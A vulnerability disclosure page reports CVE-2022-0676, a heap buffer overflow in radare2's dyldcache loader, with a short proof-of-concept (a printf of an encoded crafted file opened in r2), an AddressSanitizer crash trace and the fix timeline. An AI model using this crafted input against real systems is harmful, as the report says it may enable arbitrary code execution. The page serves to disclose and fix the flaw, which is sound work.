Heap-based Buffer Overflow in radareorg/radare2

Valid Reported on Feb 17th 2022

Description

There is a heap corruption when r2 processes a crafted dyldcache file. Confirmed on the latest release 5.6.2 and the master branch.

Proof of Concept

```
printf "%s" "ZHlsZF92MSB4ODZfNjRoANFkeWxkXwAQAAAAAAAAAAAAAAAAAAAAAAAAAAA
r2 /tmp/a
```

```
==944987==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f04c2
READ of size 8 at 0x7f04c25f5000 thread T0
    #0 0x214ffbc in va2pa /home/mio/radare2/build.asan/../libr/bin/p/bin_dy
    #1 0x215334f in read_cache_accel /home/mio/radare2/build.asan/../libr/b
    #2 0x21489d7 in load_buffer /home/mio/radare2/build.asan/../libr/bin/p/
    #3 0x20ddcdb in r_bin_object_new /home/mio/radare2/build.asan/../libr/b
    #4 0x20cc808 in r_bin_file_new_from_buffer /home/mio/radare2/build.asan
    #5 0x208a2a6 in r_bin_open_buf /home/mio/radare2/build.asan/../libr/bin
    #6 0x2088e5e in r_bin_open_io /home/mio/radare2/build.asan/../libr/bin/
    #7 0x16ee959 in r_core_file_do_load_for_io_plugin /home/mio/radare2/bui
    #8 0x16e748a in r_core_bin_load /home/mio/radare2/build.asan/../libr/co
    #9 0x6fe544 in r_main_radare2 /home/mio/radare2/build.asan/../libr/main
    #10 0x4cd12f in main /home/mio/radare2/build.asan/../binr/radare2/radar
    #11 0x7f04c4ddefcf in __libc_start_call_main csu/../sysdeps/nptl/libc_s
    #12 0x7f04c4ddf07c in __libc_start_main csu/../csu/libc-start.c:409:3
    #13 0x41eae4 in _start (/home/mio/radare2/install-asan/bin/radare2+0x41

0x7f04c25f5000 is located 0 bytes to the right of 12503040-b
allocated by thread T0 here:
```

```
    #0 0x49b432 in __interceptor_calloc (/home/mio/radare2/install-asan/bir
    #1 0x21527b7 in populate_cache_maps /home/mio/radare2/build.asan/../lib
    #2 0x21488b8 in load_buffer /home/mio/radare2/build.asan/../libr/bin/p/

    #3 0x20ddcdb in r_bin_object_new /home/mio/radare2/build.asan/../libr/b
    #4 0x20cc808 in r_bin_file_new_from_buffer /home/mio/radare2/build.asan
    #5 0x208a2a6 in r_bin_open_buf /home/mio/radare2/build.asan/../libr/bir
    #6 0x2088e5e in r_bin_open_io /home/mio/radare2/build.asan/../libr/bin/
    #7 0x16ee959 in r_core_file_do_load_for_io_plugin /home/mio/radare2/bui
    #8 0x16e748a in r_core_bin_load /home/mio/radare2/build.asan/../libr/co
    #9 0x6fe544 in r_main_radare2 /home/mio/radare2/build.asan/../libr/main
    #10 0x4cd12f in main /home/mio/radare2/build.asan/../binr/radare2/radar
    #11 0x7f04c4ddefcf in __libc_start_call_main csu/../sysdeps/nptl/libc_s

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/mio/radare2/build.asa
Shadow bytes around the buggy address:
  0x0fe1184b69b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fe1184b69c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fe1184b69d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fe1184b69e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fe1184b69f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0fe1184b6a00:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0fe1184b6a10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0fe1184b6a20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0fe1184b6a30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0fe1184b6a40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0fe1184b6a50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
```

```
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe

  Left alloca redzone:     ca
  Right alloca redzone:    cb
==944987==ABORTING
```

Impact

This may lead to arbitrary code execution for an attacker

CVE
CVE-2022-0676
(Published)

Vulnerability Type
CWE-122: Heap-based Buffer Overflow

Severity
High (7.8)

Visibility
Public

Status
Fixed

Found by

lazymio
@wtdcode
maintainer

Fixed by

pancake
@trufae
maintainer

Chat with us

This report was seen 438 times.

We are processing your report and will contact the **radareorg/radare2** team within 24 hours.
9 months ago

lazymio modified the report 9 months ago

lazymio modified the report 9 months ago

pancake validated this vulnerability 9 months ago

lazymio has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

We have sent a fix follow up to the **radareorg/radare2** team. We will try again in 7 days.
9 months ago

pancake marked this as fixed in **5.6.4** with commit **c84b72** 9 months ago

pancake has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

Sign in to join this conversation

FAQ

contact us

terms

privacy policy

Chat with us